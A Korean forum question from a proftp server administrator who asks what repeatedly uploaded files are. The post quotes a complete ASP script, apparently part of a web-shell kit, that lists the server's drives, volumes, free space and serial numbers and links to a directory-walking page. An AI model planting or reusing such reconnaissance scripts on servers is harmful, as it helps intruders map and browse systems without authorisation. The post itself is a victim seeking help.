적수네 동네 - 질문과 답변 [ 게시물 수정 ]

	>> Edit article


			이름
			제목
			패스워드

제가 proftp를 사용하는데여 누가 자꾸 똑같은 파일을 올리는데
하나는 asp파일이구여 두개는 ptf파일인데 이 두개 파일은 모하는건지여?
asp파일의 내용은 담과 같습니다.....혹시 이 파일이 모하는 건지
아시는 분 있음 부탁드립니당...^^ 
 <%
&#039;Drive information script by Garet Jax
Response.Write "<html><head><title></title></head><body>"
Response.Write "Server Software: "& Request.ServerVariables("SERVER_SOFTWARE") &" Drive Information for: "& Request.ServerVariables("SERVER_NAME") &" "
Response.Write "<table border=1 cellpadding=3 cellspacing=0 bordercolor=Black>"
Response.Write "<tr><td nowrap>Driveletter</td><td nowrap>Drive Type</td><td nowrap>Volume Name</td><td nowrap>Total Space</td><td nowrap>Available Space</td><td nowrap>File System</td><td nowrap>Serial #</td></tr>"
Set fs = CreateObject("Scripting.FileSystemObject")
Set drv = fs.Drives
For each d in drv 
If d.Driveletter <> "A" Then
If d.IsReady = True Then
freespace = (d.AvailableSpace / 1024)
free = (freespace / 1024)
totalspace = (d.TotalSize / 1024)
total = (totalspace / 1024)
	Response.Write "<tr><td nowrap><A href=&#039;dirwalkR.asp?id="& d.DriveLetter &"&#039;>"& d.DriveLetter &"</a></td>"
	If d.DriveType = 3 Then
		dtype = "Network"
		If d.ShareName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.ShareName
		End If
	ElseIf d.DriveType = 0 Then
		dtype = "Unknown"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 1 Then
		dtype = "Removeable"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 2 Then
		dtype = "Fixed"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 4 Then
		dtype = "CD-Rom"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 5 Then
		dtype = "RAM Disk"
		If d.VolumeName = "" Then 
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	End If
	Response.Write "<td nowrap>"& dtype &"</td><td nowrap>"& dname &"</td><td nowrap>"& Round(total,1) &" Megabytes</td><td nowrap>"& Round(free,1) &" Megabytes</td><td nowrap>"& d.FileSystem &"</td><td nowrap>"& d.SerialNumber &"</td></tr>"
Else
	Response.Write "<td nowrap>"& d.DriveLetter &"</td><td colspan=6>Drive not ready</td></tr>"
End If
End If
Next
Response.Write "</table>"
Response.Write "</body></html>"
%>
 --
-------------------------------------------
Are you linuxer?
i am linuxer...^^
-------------------------------------------